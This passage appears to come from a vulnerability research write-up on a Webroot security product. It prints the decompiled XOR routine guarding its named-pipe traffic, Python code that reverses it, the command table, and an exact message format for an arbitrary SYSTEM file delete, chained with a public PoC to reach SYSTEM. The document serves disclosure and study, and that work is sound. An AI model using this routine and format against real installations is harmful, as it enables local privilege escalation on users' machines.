Having confirmed that we could execute code in the security product’s front-end process, our next step was to examine the communication between the front and back end.
Reverse engineering the communication
To monitor named pipe communication, we utilized the IO Ninja Monitor. We could see that each time we interacted with the service from the client application, some data was sent over the pipe \ \ . \ pipe\WRSVCPipe. Unfortunately, the data was nonsense, and we couldn’t identify any meaningful strings or commands within this communication:
14:40:36 +53:21.506 Client file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04BA10ACF0
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 540
14:40:36 +53:21.506 Server file opened
File name: \WRSVCPipe
File ID: 0xFFFFAB04B3C0B700
Process: \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
PID: 1716
14:40:36 +53:21.507 File ID 0xFFFFAB04BA1090D0:
14:40:36 +53:21.507 > 0000 a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2 ................
> 0010 09 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2 ................
> 0020 09 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2 ................
> 0030 09 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2 ................
> 0040 09 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2 ................
> 0050 09 f5 08 f6 09 09 08 0a 09 0d 08 0e 09 01 08 02 ................
> 0060 09 05 08 06 09 19 08 1a 09 1d 08 1e 09 11 08 12 ................
> 0070 09 15 08 16 09 29 08 2a 09 2d 08 2e 09 21 08 22 .....).*.-...!."
> 0080 09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32 .%.&.9.:.=.>.1.2
> 0090 09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42 .5.6.I.J.M.N.A.B
> 00a0 09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52 .E.F.Y.Z.].^.Q.R
> 00b0 09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62 .U.V.i.j.m.n.a.b
[...]
Searching for xrefs in the WRSA.exe client application found many references to the \\.\pipe\WRSVCPipe. We could observe the recurring following pattern:
input_data = HeapAlloc(ProcessHeap, 8u, 0x1E89u);
if ( !v3 )
return 0;
*input_data = 53; // Write first byte? A command?
res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\\\.\\pipe\\WRSVCPipe", input_data, 0x2710u, 0);
The method WriteEncryptedNamedPipe (renamed by us) implemented some kind of XOR encryption to obfuscate the data transmitted via the named pipe:
if ( buf )
{
for ( i = 1; i < 7816; ++i )
*((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85);
*(_BYTE *)buf ^= 0xACu;
}
We can see that each byte of the buffer is XORed multiple times, using both static values (e.g., 0xAC) and dynamic values derived from other parts of the buffer. This explained the “encrypted” traffic and allowed us to build scripts for “decrypting” the traffic. To achieve this, we reversed the encryption routine and implemented the following Python script:
def encrypt(buf):
for i in range(1, len(buf)):
buf[i] ^= buf[i-1] ^ (i - 85) & 0xff
buf[0] ^= 0xAC
return buf
def decrypt(buf):
buf[0] ^= 0xAC
i = 7815
while (i > 0):
buf[i] ^= buf[i-1] ^ (i - 85) & 0xff
i -= 1
return buf
While those strings were not that interesting for our use case, we identified a structure in the binary traffic: The first byte looks like a command id!
By decrypting the traffic recorded with IO Ninja, we saw various strings that seemed to be cloud URLs. While these strings were not that interesting for us, we identified a unique structure in the binary traffic: The first byte appeared to function as a command identifier!
> decrypted xxd entry_0100.bin | head -n3
00000000: 5200 0000 0000 0000 0000 0000 0000 0000 R...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0101.bin | head -n3
00000000: 3a00 0000 0000 0000 0000 0000 0000 0000 :...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
> decrypted xxd entry_0001.bin | head -n3
00000000: 2700 0000 0000 0000 0000 0000 ec2e 3277 '.............2w
00000010: 0000 0000 0000 0000 0000 0000 76dc b394 ............v...
00000020: 0000 0000 a011 9a76 0000 0000 2400 0000 .......v....$...
Trying to reconstruct the binary message format, we discovered a global handler function responsible for processing these commands:
int __stdcall MsgRecv_Callback(int *a1, unsigned int *input_buf, void *a3, int a4, _DWORD *a5)
{
// [...]
if ( !input_buf )
return 7816;
v6 = *input_buf;
// [...]
if ( v6 > 0x64 ) // [1]
{
if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u )
TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);
return 7816;
}
if ( !cmd_handler_table[v6] )
{
// Invalid function table?
}
// ... more checks
if ( v17 )
{
cmd_id_to_string(*a1, (int)input_buf, v8); // [2]
((void (__thiscall *)(int, int *, unsigned int *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3]
}
The handler function performs several actions: In [1], it first checks if the command_id exceeds the valid range (>0x64). If within bounds, it invokes the corresponding handler function for the command_id from the function table (see [3]). Nicely for us, it utilizes the cmd_id_to_string for debugging/ tracing purposes (see [2]), which we can use to identify interesting command IDs:
case 0x36:
v5 = "FLUSH_CONFIGURATION";
goto LABEL_116;
case 0x37:
v5 = "DELETEFILE";
goto LABEL_116;
case 0x38:
v5 = "INSTALL_PACKAGE";
goto LABEL_116;
case 0x39:
v5 = "GET_PACKAGE_STATUS";
goto LABEL_116;
case 0x3A:
v5 = "PERFORM_WALL";
goto LABEL_116;
Among the various command IDs, one particular caught our attention: 0x37 DELETEFILE, so let us look at its implementation:
int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3)
{
WCHAR *v3; // esi
v3 = (WCHAR *)(decrypted_buffer + 8);
if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) )
*(_DWORD *)(decrypted_buffer + 532) = 1;
else
sub_4D7090(*a1, v3);
RemoveDirectoryW(v3);
return 1;
}
As observed in the function table invocation within MsgRecv_Callback, we control the second argument, which corresponds to the decrypted input buffer. By strategically placing a filename at offset 0x08 in the buffer, we could delete any file or directory with SYSTEM privileges!
Exploiting file deletion
We identified the file delete functionality as a potential privilege escalation vector. The file delete command exchanged between the front end and back end was composed as follows:
-------------------------------------------
| opcode| 7x 0-bytes | Filename | 0-bytes |
-------------------------------------------
The first value was the opcode for the file delete operation in our version, 0x37. This was followed by seven zero-bytes and a filename provided as a Unicode string. The overall size of each command was 7816 bytes.
By replicating the previously described obfuscation logic, we could craft and send our own delete commands via the named pipe used for issuing commands.
To leverage the file delete functionality for privilege escalation, we used a publicly available PoC provided by the ZDI. The exploit involves replacing a rollback script used during an MSI installation and performing DLL hijacking to spawn a cmd.exe process as SYSTEM when the on-screen keyboard is opened on the lock screen (more details can be found here).
We ran the exploit with the delete command targeting C:\\Config.msi::$INDEX_ALLOCATION. The following image shows the successful execution: